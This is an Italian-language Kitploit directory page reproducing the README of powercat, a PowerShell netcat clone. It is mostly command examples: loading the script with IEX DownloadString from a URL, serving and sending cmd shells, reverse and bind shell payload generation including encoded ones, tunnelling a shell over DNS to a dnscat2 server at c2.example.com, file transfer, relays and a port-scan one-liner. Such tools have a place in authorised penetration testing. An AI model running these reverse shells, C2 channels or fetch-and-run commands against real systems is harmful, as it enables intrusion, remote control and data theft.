Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
powercat — netshell include tutte le funzionalità nella versione 2 di PowerShell | Kitploit
Strumenti/GitHubGitHub/besimorhino/powercat
Generazione di PayloadScansione PorteSicurezza di RetePenetration TestingCommand and ControlRed TeamingStrumento di Accesso RemotoAnalisi DNS
GitHubbesimorhino/powercat

powercat

netshell include tutte le funzionalità nella versione 2 di PowerShell

Vedi Repository
2.4k4852 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

powercat

Netcat: la versione PowerShell. (Supporta PowerShell versione 2 e successive)

Installazione

powercat è una funzione di PowerShell. È necessario caricare la funzione prima di poterla eseguire. È possibile inserire uno dei comandi seguenti nel profilo di PowerShell in modo che powercat venga caricato automaticamente all'avvio di PowerShell.

root@kitploit:~
Load The Function From Downloaded .ps1 File:
    . .\powercat.ps1
Load The Function From URL:
    IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')

Parametri:

root@kitploit:~
-l      Ascolta una connessione.                             [Switch]
-c      Connetti a un listener.                               [String]
-p      La porta a cui connettersi o su cui ascoltare.                [String]
-e      Esegui. (GAPING_SECURITY_HOLE)                      [String]
-ep     Esegui PowerShell.                                  [Switch]
-r      Relay. Formato: "-r tcp:10.1.1.1:443"                 [String]
-u      Trasferisci dati tramite UDP.                              [Switch]
-dns    Trasferisci dati tramite DNS (dnscat2).                    [String]
-dnsft  Soglia di fallimento DNS.                               [int32]
-t      Opzione timeout. Predefinito: 60                          [int32]
-i      Input: Percorso file (string), array di byte o stringa.     [object]
-o      Tipo di output console: "Host", "Bytes" o "String"    [String]
-of     Percorso file output.                                    [String]
-d      Disconnetti dopo la connessione.                         [Switch]
-rep    Repeater. Riavvia dopo la disconnessione.               [Switch]
-g      Genera payload.                                    [Switch]
-ge     Genera payload codificato.                            [Switch]
-h      Stampa il messaggio di aiuto.                              [Switch]

Connessioni di base

Per impostazione predefinita, powercat legge l'input dalla console e scrive l'output utilizzando Write-Host. È possibile modificare il tipo di output in 'Bytes' o 'String' con -o.

root@kitploit:~
Basic Client:
    powercat -c 10.1.1.1 -p 443
Basic Listener:
    powercat -l -p 8000
Basic Client, Output as Bytes:
    powercat -c 10.1.1.1 -p 443 -o Bytes

Trasferimento file

powercat può essere utilizzato per trasferire file avanti e indietro usando -i (Input) e -of (Output File).

root@kitploit:~
Send File:
    powercat -c 10.1.1.1 -p 443 -i C:\inputfile
Recieve File:
    powercat -l -p 8000 -of C:\inputfile

Shell

powercat può essere utilizzato per inviare e fornire shell. Specificare un eseguibile con -e, o usare -ep per eseguire PowerShell.

root@kitploit:~
Serve a cmd Shell:
    powercat -l -p 443 -e cmd
Send a cmd Shell:
    powercat -c 10.1.1.1 -p 443 -e cmd
Serve a shell which executes powershell commands:
    powercat -l -p 443 -ep

DNS e UDP

powercat supporta più della semplice trasmissione dati tramite TCP. Specificare -u per abilitare la modalità UDP. I dati possono anche essere inviati a un server dnscat2 con -dns. Assicurati di aggiungere "-e open --no-cache" quando esegui il server dnscat2.

root@kitploit:~
Send Data Over UDP:
    powercat -c 10.1.1.1 -p 8000 -u
    powercat -l -p 8000 -u
Connect to the c2.example.com dnscat2 server using the DNS server on 10.1.1.1:
    powercat -c 10.1.1.1 -p 53 -dns c2.example.com
Send a shell to the c2.example.com dnscat2 server using the default DNS server in Windows:
    powercat -dns c2.example.com -e cmd

Relay

I relay in powercat funzionano proprio come i relay tradizionali di netcat, ma non è necessario creare un file o avviare un secondo processo. Puoi anche fare da relay tra connessioni di protocolli diversi.

root@kitploit:~
TCP Listener to TCP Client Relay:
    powercat -l -p 8000 -r tcp:10.1.1.16:443
TCP Listener to UDP Client Relay:
    powercat -l -p 8000 -r udp:10.1.1.16:53
TCP Listener to DNS Client Relay
    powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com
TCP Listener to DNS Client Relay using the Windows Default DNS Server
    powercat -l -p 8000 -r dns:::c2.example.com
TCP Client to Client Relay
    powercat -c 10.1.1.1 -p 9000 -r tcp:10.1.1.16:443
TCP Listener to Listener Relay
    powercat -l -p 8000 -r tcp:9000

Genera payload

I payload che eseguono un'azione specifica possono essere generati usando -g (Generate Payload) e -ge (Generate Encoded Payload). I payload codificati possono essere eseguiti con powershell -E. Puoi usarli se non vuoi utilizzare tutto powercat.

root@kitploit:~
Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:
    powercat -c 10.1.1.15 -p 443 -e cmd -g
Generate a bind tcp encoded command which listens on port 8000:
    powercat -l -p 8000 -e cmd -ge

Utilizzo vario

powercat può anche essere utilizzato per eseguire scansioni di porte e avviare server persistenti.

root@kitploit:~
Basic TCP Port Scanner:
    (21,22,80,443) | % {powercat -c 10.1.1.10 -p $_ -t 1 -Verbose -d}
Start A Persistent Server That Serves a File:
    powercat -l -p 443 -i C:\inputfile -rep
Scarica lo strumento